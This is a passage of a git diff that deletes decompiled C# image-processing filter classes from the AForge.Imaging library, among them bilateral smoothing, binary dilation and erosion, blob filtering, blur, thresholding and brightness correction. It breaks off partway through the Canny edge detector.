10.0; - - private double spatialPower = 2.0; - - private double colorFactor = 50.0; - - private double colorPower = 2.0; - - private bool spatialPropertiesChanged = true; - - private bool colorPropertiesChanged = true; - - private bool limitKernelSize = true; - - private bool enableParallelProcessing; - - private double[,] spatialFunc; - - private double[,] colorFunc; - - public bool LimitKernelSize - { - get - { - return limitKernelSize; - } - set - { - limitKernelSize = value; - } - } - - public bool EnableParallelProcessing - { - get - { - return enableParallelProcessing; - } - set - { - enableParallelProcessing = value; - } - } - - public int KernelSize - { - get - { - return kernelSize; - } - set - { - if (value > 255) - { - throw new ArgumentOutOfRangeException("Maximum allowed value of KernelSize property is " + 255); - } - if (limitKernelSize && value > 25) - { - throw new ArgumentOutOfRangeException("KernerlSize is larger then 25. Time for applying is significant and may lead to application freezing. In order to use any KernelSize value set property 'LimitKernelSize' to false."); - } - if (value < 3) - { - throw new ArgumentOutOfRangeException("KernelSize must be greater than 3"); - } - if (value % 2 == 0) - { - throw new ArgumentException("KernerlSize must be an odd integer."); - } - kernelSize = value; - } - } - - public double SpatialFactor - { - get - { - return spatialFactor; - } - set - { - spatialFactor = System.Math.Max(1.0, value); - spatialPropertiesChanged = true; - } - } - - public double SpatialPower - { - get - { - return spatialPower; - } - set - { - spatialPower = System.Math.Max(1.0, value); - spatialPropertiesChanged = true; - } - } - - public double ColorFactor - { - get - { - return colorFactor; - } - set - { - colorFactor = System.Math.Max(1.0, value); - colorPropertiesChanged = true; - } - } - - public double ColorPower - { - get - { - return colorPower; - } - set - { - colorPower = System.Math.Max(1.0, value); - colorPropertiesChanged = true; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public BilateralSmoothing() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - private void InitSpatialFunc() - { - if (spatialFunc != null && spatialFunc.Length == kernelSize * kernelSize && !spatialPropertiesChanged) - { - return; - } - if (spatialFunc == null || spatialFunc.Length != kernelSize * kernelSize) - { - spatialFunc = new double[kernelSize, kernelSize]; - } - int num = kernelSize / 2; - for (int i = 0; i < kernelSize; i++) - { - int num2 = i - num; - int num3 = num2 * num2; - for (int j = 0; j < kernelSize; j++) - { - int num4 = j - num; - int num5 = num4 * num4; - spatialFunc[i, j] = System.Math.Exp(-0.5 * System.Math.Pow(System.Math.Sqrt((double)(num3 + num5) / spatialFactor), spatialPower)); - } - } - spatialPropertiesChanged = false; - } - - private void InitColorFunc() - { - if (colorFunc != null && !colorPropertiesChanged) - { - return; - } - if (colorFunc == null) - { - colorFunc = new double[256, 256]; - } - for (int i = 0; i < 256; i++) - { - for (int j = 0; j < 256; j++) - { - colorFunc[i, j] = System.Math.Exp(-0.5 * System.Math.Pow((double)System.Math.Abs(i - j) / colorFactor, colorPower)); - } - } - colorPropertiesChanged = false; - } - - private void InitFilter() - { - InitSpatialFunc(); - InitColorFunc(); - } - - protected override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - int num = kernelSize / 2; - InitFilter(); - if (rect.Width <= kernelSize || rect.Height <= kernelSize) - { - ProcessWithEdgeChecks(source, destination, rect); - return; - } - Rectangle rect2 = rect; - rect2.Inflate(-num, -num); - if (Environment.ProcessorCount > 1 && enableParallelProcessing) - { - ProcessWithoutChecksParallel(source, destination, rect2); - } - else - { - ProcessWithoutChecks(source, destination, rect2); - } - ProcessWithEdgeChecks(source, destination, new Rectangle(rect.Left, rect.Top, rect.Width, num)); - ProcessWithEdgeChecks(source, destination, new Rectangle(rect.Left, rect.Bottom - num, rect.Width, num)); - ProcessWithEdgeChecks(source, destination, new Rectangle(rect.Left, rect.Top + num, num, rect.Height - num * 2)); - ProcessWithEdgeChecks(source, destination, new Rectangle(rect.Right - num, rect.Top + num, num, rect.Height - num * 2)); - } - - private unsafe void ProcessWithoutChecksParallel(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - //IL_0044: Unknown result type (might be due to invalid IL or missing references) - int startX = rect.Left; - int top = rect.Top; - int stopX = rect.Right; - int bottom = rect.Bottom; - int pixelSize = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int num = kernelSize / 2; - int num2 = kernelSize * pixelSize; - int srcStride = source.Stride; - int dstStride = destination.Stride; - _ = srcStride; - _ = rect.Width; - _ = pixelSize; - _ = dstStride; - _ = rect.Width; - _ = pixelSize; - int srcKernelFistPixelOffset = num * (srcStride + pixelSize); - int srcKernelOffset = srcStride - num2; - byte* srcBase = (byte*)source.ImageData.ToPointer(); - byte* dstBase = (byte*)destination.ImageData.ToPointer(); - srcBase += (nint)startX * (nint)pixelSize; - dstBase += (nint)startX * (nint)pixelSize; - if (pixelSize > 1) - { - Parallel.For(top, bottom, delegate(int y) - { - byte* ptr = srcBase + (nint)y * (nint)srcStride; - byte* ptr2 = dstBase + (nint)y * (nint)dstStride; - int num3 = startX; - while (num3 < stopX) - { - byte* ptr3 = ptr + srcKernelFistPixelOffset; - double num4 = 0.0; - double num5 = 0.0; - double num6 = 0.0; - double num7 = 0.0; - double num8 = 0.0; - double num9 = 0.0; - byte b = ptr[2]; - byte b2 = ptr[1]; - byte b3 = *ptr; - int num10 = kernelSize; - while (num10 != 0) - { - num10--; - int num11 = kernelSize; - while (num11 != 0) - { - num11--; - byte b4 = ptr3[2]; - byte b5 = ptr3[1]; - byte b6 = *ptr3; - double num12 = spatialFunc[num11, num10] * colorFunc[b4, b]; - double num13 = spatialFunc[num11, num10] * colorFunc[b5, b2]; - double num14 = spatialFunc[num11, num10] * colorFunc[b6, b3]; - num4 += num12; - num5 += num13; - num6 += num14; - num7 += num12 * (double)(int)b4; - num8 += num13 * (double)(int)b5; - num9 += num14 * (double)(int)b6; - ptr3 -= pixelSize; - } - ptr3 -= srcKernelOffset; - } - ptr2[2] = (byte)(num7 / num4); - ptr2[1] = (byte)(num8 / num5); - *ptr2 = (byte)(num9 / num6); - num3++; - ptr += pixelSize; - ptr2 += pixelSize; - } - }); - return; - } - Parallel.For(top, bottom, delegate(int y) - { - byte* ptr = srcBase + (nint)y * (nint)srcStride; - byte* ptr2 = dstBase + (nint)y * (nint)dstStride; - int num3 = startX; - while (num3 < stopX) - { - byte* ptr3 = ptr + srcKernelFistPixelOffset; - double num4 = 0.0; - double num5 = 0.0; - byte b = *ptr; - int num6 = kernelSize; - while (num6 != 0) - { - num6--; - int num7 = kernelSize; - while (num7 != 0) - { - num7--; - byte b2 = *ptr3; - double num8 = spatialFunc[num7, num6] * colorFunc[b2, b]; - num4 += num8; - num5 += num8 * (double)(int)b2; - ptr3 -= pixelSize; - } - ptr3 -= srcKernelOffset; - } - *ptr2 = (byte)(num5 / num4); - num3++; - ptr++; - ptr2++; - } - }); - } - - private unsafe void ProcessWithoutChecks(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - int left = rect.Left; - int top = rect.Top; - int right = rect.Right; - int bottom = rect.Bottom; - int num = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int num2 = kernelSize / 2; - int num3 = kernelSize * num; - int stride = source.Stride; - int stride2 = destination.Stride; - int num4 = stride - rect.Width * num; - int num5 = stride2 - rect.Width * num; - int num6 = num2 * (stride + num); - int num7 = stride - num3; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr += top * stride + left * num; - ptr2 += top * stride2 + left * num; - if (num > 1) - { - for (int i = top; i < bottom; i++) - { - int num8 = left; - while (num8 < right) - { - byte* ptr3 = ptr + num6; - double num9 = 0.0; - double num10 = 0.0; - double num11 = 0.0; - double num12 = 0.0; - double num13 = 0.0; - double num14 = 0.0; - byte b = ptr[2]; - byte b2 = ptr[1]; - byte b3 = *ptr; - int num15 = kernelSize; - while (num15 != 0) - { - num15--; - int num16 = kernelSize; - while (num16 != 0) - { - num16--; - byte b4 = ptr3[2]; - byte b5 = ptr3[1]; - byte b6 = *ptr3; - double num17 = spatialFunc[num16, num15] * colorFunc[b4, b]; - double num18 = spatialFunc[num16, num15] * colorFunc[b5, b2]; - double num19 = spatialFunc[num16, num15] * colorFunc[b6, b3]; - num9 += num17; - num10 += num18; - num11 += num19; - num12 += num17 * (double)(int)b4; - num13 += num18 * (double)(int)b5; - num14 += num19 * (double)(int)b6; - ptr3 -= num; - } - ptr3 -= num7; - } - ptr2[2] = (byte)(num12 / num9); - ptr2[1] = (byte)(num13 / num10); - *ptr2 = (byte)(num14 / num11); - num8++; - ptr += num; - ptr2 += num; - } - ptr += num4; - ptr2 += num5; - } - return; - } - for (int j = top; j < bottom; j++) - { - int num20 = left; - while (num20 < right) - { - byte* ptr4 = ptr + num6; - double num21 = 0.0; - double num22 = 0.0; - byte b7 = *ptr; - int num15 = kernelSize; - while (num15 != 0) - { - num15--; - int num16 = kernelSize; - while (num16 != 0) - { - num16--; - byte b8 = *ptr4; - double num23 = spatialFunc[num16, num15] * colorFunc[b8, b7]; - num21 += num23; - num22 += num23 * (double)(int)b8; - ptr4 -= num; - } - ptr4 -= num7; - } - *ptr2 = (byte)(num22 / num21); - num20++; - ptr++; - ptr2++; - } - ptr += num4; - ptr2 += num5; - } - } - - private unsafe void ProcessWithEdgeChecks(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - //IL_0031: Unknown result type (might be due to invalid IL or missing references) - int width = source.Width; - int height = source.Height; - int left = rect.Left; - int top = rect.Top; - int right = rect.Right; - int bottom = rect.Bottom; - int num = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int num2 = kernelSize / 2; - int num3 = kernelSize * num; - int stride = source.Stride; - int stride2 = destination.Stride; - int num4 = stride - rect.Width * num; - int num5 = stride2 - rect.Width * num; - int num6 = num2 * (stride + num); - int num7 = stride - num3; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr += top * stride + left * num; - ptr2 += top * stride2 + left * num; - if (num > 1) - { - for (int i = top; i < bottom; i++) - { - int num8 = left; - while (num8 < right) - { - byte* ptr3 = ptr + num6; - double num9 = 0.0; - double num10 = 0.0; - double num11 = 0.0; - double num12 = 0.0; - double num13 = 0.0; - double num14 = 0.0; - byte b = ptr[2]; - byte b2 = ptr[1]; - byte b3 = *ptr; - int num15 = kernelSize; - while (num15 != 0) - { - num15--; - int num16 = num15 - num2; - if (num16 + i >= height || num16 + i < 0) - { - ptr3 -= stride; - continue; - } - int num17 = kernelSize; - while (num17 != 0) - { - num17--; - int num18 = num17 - num2; - if (num18 + num8 >= width || num18 + num8 < 0) - { - ptr3 -= num; - continue; - } - byte b4 = ptr3[2]; - byte b5 = ptr3[1]; - byte b6 = *ptr3; - double num19 = spatialFunc[num17, num15] * colorFunc[b4, b]; - double num20 = spatialFunc[num17, num15] * colorFunc[b5, b2]; - double num21 = spatialFunc[num17, num15] * colorFunc[b6, b3]; - num9 += num19; - num10 += num20; - num11 += num21; - num12 += num19 * (double)(int)b4; - num13 += num20 * (double)(int)b5; - num14 += num21 * (double)(int)b6; - ptr3 -= num; - } - ptr3 -= num7; - } - ptr2[2] = (byte)(num12 / num9); - ptr2[1] = (byte)(num13 / num10); - *ptr2 = (byte)(num14 / num11); - num8++; - ptr += num; - ptr2 += num; - } - ptr += num4; - ptr2 += num5; - } - return; - } - for (int j = top; j < bottom; j++) - { - int num22 = left; - while (num22 < right) - { - byte* ptr4 = ptr + num6; - double num23 = 0.0; - double num24 = 0.0; - byte b7 = *ptr; - int num15 = kernelSize; - while (num15 != 0) - { - num15--; - int num16 = num15 - num2; - if (num16 + j >= height || num16 + j < 0) - { - ptr4 -= stride; - continue; - } - int num17 = kernelSize; - while (num17 != 0) - { - num17--; - int num18 = num17 - num2; - if (num18 + num22 >= source.Width || num18 + num22 < 0) - { - ptr4 -= num; - continue; - } - byte b8 = *ptr4; - double num25 = spatialFunc[num17, num15] * colorFunc[b8, b7]; - num23 += num25; - num24 += num25 * (double)(int)b8; - ptr4 -= num; - } - ptr4 -= num7; - } - *ptr2 = (byte)(num24 / num23); - num22++; - ptr++; - ptr2++; - } - ptr += num4; - ptr2 += num5; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BinaryDilatation3x3.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BinaryDilatation3x3.cs deleted file mode 100644 index 39829b0..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BinaryDilatation3x3.cs +++ /dev/null @@ -1,80 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class BinaryDilatation3x3 : BaseUsingCopyPartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public BinaryDilatation3x3() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData, Rectangle rect) - { - if (rect.Width < 3 || rect.Height < 3) - { - throw new InvalidImagePropertiesException("Processing rectangle mast be at least 3x3 in size."); - } - int num = rect.Left + 1; - int num2 = rect.Top + 1; - int num3 = rect.Right - 1; - int num4 = rect.Bottom - 1; - int stride = destinationData.Stride; - int stride2 = sourceData.Stride; - int num5 = stride - rect.Width + 1; - int num6 = stride2 - rect.Width + 1; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr += num - 1 + (num2 - 1) * stride2; - ptr2 += num - 1 + (num2 - 1) * stride; - *ptr2 = (byte)(*ptr | ptr[1] | ptr[stride2] | ptr[stride2 + 1]); - ptr++; - ptr2++; - int num7 = num; - while (num7 < num3) - { - *ptr2 = (byte)(*ptr | ptr[-1] | ptr[1] | ptr[stride2] | ptr[stride2 - 1] | ptr[stride2 + 1]); - num7++; - ptr++; - ptr2++; - } - *ptr2 = (byte)(*ptr | ptr[-1] | ptr[stride2] | ptr[stride2 - 1]); - ptr += num6; - ptr2 += num5; - for (int i = num2; i < num4; i++) - { - *ptr2 = (byte)(*ptr | ptr[1] | ptr[-stride2] | ptr[-stride2 + 1] | ptr[stride2] | ptr[stride2 + 1]); - ptr++; - ptr2++; - int num8 = num; - while (num8 < num3) - { - *ptr2 = (byte)(*ptr | ptr[-1] | ptr[1] | ptr[-stride2] | ptr[-stride2 - 1] | ptr[-stride2 + 1] | ptr[stride2] | ptr[stride2 - 1] | ptr[stride2 + 1]); - num8++; - ptr++; - ptr2++; - } - *ptr2 = (byte)(*ptr | ptr[-1] | ptr[-stride2] | ptr[-stride2 - 1] | ptr[stride2] | ptr[stride2 - 1]); - ptr += num6; - ptr2 += num5; - } - *ptr2 = (byte)(*ptr | ptr[1] | ptr[-stride2] | ptr[-stride2 + 1]); - ptr++; - ptr2++; - int num9 = num; - while (num9 < num3) - { - *ptr2 = (byte)(*ptr | ptr[-1] | ptr[1] | ptr[-stride2] | ptr[-stride2 - 1] | ptr[-stride2 + 1]); - num9++; - ptr++; - ptr2++; - } - *ptr2 = (byte)(*ptr | ptr[-1] | ptr[-stride2] | ptr[-stride2 - 1]); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BinaryErosion3x3.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BinaryErosion3x3.cs deleted file mode 100644 index c7788d3..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BinaryErosion3x3.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class BinaryErosion3x3 : BaseUsingCopyPartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public BinaryErosion3x3() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData, Rectangle rect) - { - if (rect.Width < 3 || rect.Height < 3) - { - throw new InvalidImagePropertiesException("Processing rectangle mast be at least 3x3 in size."); - } - int num = rect.Left + 1; - int num2 = rect.Top + 1; - int num3 = rect.Right - 1; - int num4 = rect.Bottom - 1; - int stride = destinationData.Stride; - int stride2 = sourceData.Stride; - int num5 = stride - rect.Width + 1; - int num6 = stride2 - rect.Width + 1; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr += num - 1 + (num2 - 1) * stride2; - ptr2 += num - 1 + (num2 - 1) * stride; - int num7 = num - 1; - while (num7 < num3) - { - *ptr2 = 0; - num7++; - ptr++; - ptr2++; - } - *ptr2 = 0; - ptr += num6; - ptr2 += num5; - for (int i = num2; i < num4; i++) - { - *ptr2 = 0; - ptr++; - ptr2++; - int num8 = num; - while (num8 < num3) - { - *ptr2 = (byte)(*ptr & ptr[-1] & ptr[1] & ptr[-stride2] & ptr[-stride2 - 1] & ptr[-stride2 + 1] & ptr[stride2] & ptr[stride2 - 1] & ptr[stride2 + 1]); - num8++; - ptr++; - ptr2++; - } - *ptr2 = 0; - ptr += num6; - ptr2 += num5; - } - int num9 = num - 1; - while (num9 < num3) - { - *ptr2 = 0; - num9++; - ptr++; - ptr2++; - } - *ptr2 = 0; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BlobsFiltering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BlobsFiltering.cs deleted file mode 100644 index cb3fc13..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BlobsFiltering.cs +++ /dev/null @@ -1,173 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class BlobsFiltering : BaseInPlaceFilter -{ - private BlobCounter blobCounter = new BlobCounter(); - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public bool CoupledSizeFiltering - { - get - { - return blobCounter.CoupledSizeFiltering; - } - set - { - blobCounter.CoupledSizeFiltering = value; - } - } - - public int MinWidth - { - get - { - return blobCounter.MinWidth; - } - set - { - blobCounter.MinWidth = value; - } - } - - public int MinHeight - { - get - { - return blobCounter.MinHeight; - } - set - { - blobCounter.MinHeight = value; - } - } - - public int MaxWidth - { - get - { - return blobCounter.MaxWidth; - } - set - { - blobCounter.MaxWidth = value; - } - } - - public int MaxHeight - { - get - { - return blobCounter.MaxHeight; - } - set - { - blobCounter.MaxHeight = value; - } - } - - public IBlobsFilter BlobsFilter - { - get - { - return blobCounter.BlobsFilter; - } - set - { - blobCounter.BlobsFilter = value; - } - } - - public BlobsFiltering() - { - blobCounter.FilterBlobs = true; - blobCounter.MinWidth = 1; - blobCounter.MinHeight = 1; - blobCounter.MaxWidth = int.MaxValue; - blobCounter.MaxHeight = int.MaxValue; - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)925707] = (PixelFormat)925707; - } - - public BlobsFiltering(int minWidth, int minHeight, int maxWidth, int maxHeight) - : this(minWidth, minHeight, maxWidth, maxHeight, coupledSizeFiltering: false) - { - } - - public BlobsFiltering(int minWidth, int minHeight, int maxWidth, int maxHeight, bool coupledSizeFiltering) - : this() - { - blobCounter.MinWidth = minWidth; - blobCounter.MinHeight = minHeight; - blobCounter.MaxWidth = maxWidth; - blobCounter.MaxHeight = maxHeight; - blobCounter.CoupledSizeFiltering = coupledSizeFiltering; - } - - public BlobsFiltering(IBlobsFilter blobsFilter) - : this() - { - blobCounter.BlobsFilter = blobsFilter; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image) - { - //IL_0037: Unknown result type (might be due to invalid IL or missing references) - //IL_0041: Invalid comparison between Unknown and I4 - //IL_008b: Unknown result type (might be due to invalid IL or missing references) - blobCounter.ProcessImage(image); - int[] objectLabels = blobCounter.ObjectLabels; - int width = image.Width; - int height = image.Height; - byte* ptr = (byte*)image.ImageData.ToPointer(); - if ((int)image.PixelFormat == 198659) - { - int num = image.Stride - width; - int i = 0; - int num2 = 0; - for (; i < height; i++) - { - int num3 = 0; - while (num3 < width) - { - if (objectLabels[num2] == 0) - { - *ptr = 0; - } - num3++; - ptr++; - num2++; - } - ptr += num; - } - return; - } - int num4 = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int num5 = image.Stride - width * num4; - int j = 0; - int num6 = 0; - for (; j < height; j++) - { - int num7 = 0; - while (num7 < width) - { - if (objectLabels[num6] == 0) - { - ptr[2] = (ptr[1] = (*ptr = 0)); - } - num7++; - ptr += num4; - num6++; - } - ptr += num5; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Blur.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Blur.cs deleted file mode 100644 index 79beda5..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Blur.cs +++ /dev/null @@ -1,17 +0,0 @@ -namespace AForge.Imaging.Filters; - -public sealed class Blur : Convolution -{ - public Blur() - : base(new int[5, 5] - { - { 1, 2, 3, 2, 1 }, - { 2, 4, 5, 4, 2 }, - { 3, 5, 6, 5, 3 }, - { 2, 4, 5, 4, 2 }, - { 1, 2, 3, 2, 1 } - }) - { - base.ProcessAlpha = true; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BottomHat.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BottomHat.cs deleted file mode 100644 index c408bc1..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BottomHat.cs +++ /dev/null @@ -1,38 +0,0 @@ -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class BottomHat : BaseInPlaceFilter -{ - private Closing closing = new Closing(); - - private Subtract subtract = new Subtract(); - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public BottomHat() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - } - - public BottomHat(short[,] se) - : this() - { - closing = new Closing(se); - } - - protected override void ProcessFilter(UnmanagedImage image) - { - UnmanagedImage unmanagedImage = image.Clone(); - closing.ApplyInPlace(image); - subtract.UnmanagedOverlayImage = unmanagedImage; - subtract.ApplyInPlace(image); - unmanagedImage.Dispose(); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BradleyLocalThresholding.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BradleyLocalThresholding.cs deleted file mode 100644 index e727cc5..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BradleyLocalThresholding.cs +++ /dev/null @@ -1,89 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class BradleyLocalThresholding : BaseInPlaceFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - private int windowSize = 41; - - private float pixelBrightnessDifferenceLimit = 0.15f; - - public int WindowSize - { - get - { - return windowSize; - } - set - { - windowSize = System.Math.Max(3, value | 1); - } - } - - public float PixelBrightnessDifferenceLimit - { - get - { - return pixelBrightnessDifferenceLimit; - } - set - { - pixelBrightnessDifferenceLimit = System.Math.Max(0f, System.Math.Min(1f, value)); - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public BradleyLocalThresholding() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image) - { - IntegralImage integralImage = IntegralImage.FromBitmap(image); - int width = image.Width; - int height = image.Height; - int num = width - 1; - int num2 = height - 1; - int num3 = image.Stride - width; - int num4 = windowSize / 2; - float num5 = 1f - pixelBrightnessDifferenceLimit; - byte* ptr = (byte*)image.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num6 = i - num4; - int num7 = i + num4; - if (num6 < 0) - { - num6 = 0; - } - if (num7 > num2) - { - num7 = num2; - } - int num8 = 0; - while (num8 < width) - { - int num9 = num8 - num4; - int num10 = num8 + num4; - if (num9 < 0) - { - num9 = 0; - } - if (num10 > num) - { - num10 = num; - } - *ptr = (byte)((*ptr >= (int)(integralImage.GetRectangleMeanUnsafe(num9, num6, num10, num7) * num5)) ? 255u : 0u); - num8++; - ptr++; - } - ptr += num3; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BrightnessCorrection.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BrightnessCorrection.cs deleted file mode 100644 index 1235d7f..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BrightnessCorrection.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class BrightnessCorrection : BaseInPlacePartialFilter -{ - private LevelsLinear baseFilter = new LevelsLinear(); - - private int adjustValue; - - public int AdjustValue - { - get - { - return adjustValue; - } - set - { - adjustValue = System.Math.Max(-255, System.Math.Min(255, value)); - if (adjustValue > 0) - { - LevelsLinear levelsLinear = baseFilter; - LevelsLinear levelsLinear2 = baseFilter; - LevelsLinear levelsLinear3 = baseFilter; - IntRange intRange = (baseFilter.InGray = new IntRange(0, 255 - adjustValue)); - IntRange intRange3 = (levelsLinear3.InBlue = intRange); - IntRange inRed = (levelsLinear2.InGreen = intRange3); - levelsLinear.InRed = inRed; - LevelsLinear levelsLinear4 = baseFilter; - LevelsLinear levelsLinear5 = baseFilter; - LevelsLinear levelsLinear6 = baseFilter; - IntRange intRange6 = (baseFilter.OutGray = new IntRange(adjustValue, 255)); - IntRange intRange8 = (levelsLinear6.OutBlue = intRange6); - IntRange outRed = (levelsLinear5.OutGreen = intRange8); - levelsLinear4.OutRed = outRed; - } - else - { - LevelsLinear levelsLinear7 = baseFilter; - LevelsLinear levelsLinear8 = baseFilter; - LevelsLinear levelsLinear9 = baseFilter; - IntRange intRange11 = (baseFilter.InGray = new IntRange(-adjustValue, 255)); - IntRange intRange13 = (levelsLinear9.InBlue = intRange11); - IntRange inRed2 = (levelsLinear8.InGreen = intRange13); - levelsLinear7.InRed = inRed2; - LevelsLinear levelsLinear10 = baseFilter; - LevelsLinear levelsLinear11 = baseFilter; - LevelsLinear levelsLinear12 = baseFilter; - IntRange intRange16 = (baseFilter.OutGray = new IntRange(0, 255 + adjustValue)); - IntRange intRange18 = (levelsLinear12.OutBlue = intRange16); - IntRange outRed2 = (levelsLinear11.OutGreen = intRange18); - levelsLinear10.OutRed = outRed2; - } - } - } - - public override Dictionary FormatTranslations => baseFilter.FormatTranslations; - - public BrightnessCorrection() - { - AdjustValue = 10; - } - - public BrightnessCorrection(int adjustValue) - { - AdjustValue = adjustValue; - } - - protected override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - baseFilter.ApplyInPlace(image, rect); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BurkesDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BurkesDithering.cs deleted file mode 100644 index 0603cb7..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/BurkesDithering.cs +++ /dev/null @@ -1,13 +0,0 @@ -namespace AForge.Imaging.Filters; - -public sealed class BurkesDithering : ErrorDiffusionToAdjacentNeighbors -{ - public BurkesDithering() - : base(new int[2][] - { - new int[2] { 8, 4 }, - new int[5] { 2, 4, 8, 4, 2 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CannyEdgeDetector.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CannyEdgeDetector.cs deleted file mode 100644 index 3680d3b..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CannyEdgeDetector.cs +++ /dev/null @@ -1,207 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class CannyEdgeDetector : BaseUsingCopyPartialFilter -{ - private GaussianBlur gaussianFilter = new GaussianBlur(); - - private byte lowThreshold = 20; - - private byte highThreshold = 100; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public byte LowThreshold - { - get - { - return lowThreshold; - } - set - { - lowThreshold = value; - } - } - - public byte HighThreshold - { - get - { - return highThreshold; - } - set - { - highThreshold = value; - } - } - - public double GaussianSigma - { - get - { - return gaussianFilter.Sigma; - } - set - { - gaussianFilter.Sigma = value; - } - } - - public int GaussianSize - { - get - { - return gaussianFilter.Size; - } - set - { - gaussianFilter.Size = value; - } - } - - public CannyEdgeDetector() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - public CannyEdgeDetector(byte lowThreshold, byte highThreshold) - : this() - { - this.lowThreshold = lowThreshold; - this.highThreshold = highThreshold; - } - - public CannyEdgeDetector(byte lowThreshold, byte highThreshold, double sigma) - : this() - { - this.lowThreshold = lowThreshold; - this.highThreshold = highThreshold; - gaussianFilter.Sigma = sigma; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - int num = rect.Left + 1; - int num2 = rect.Top + 1; - int num3 = num + rect.Width - 2; - int num4 = num2 + 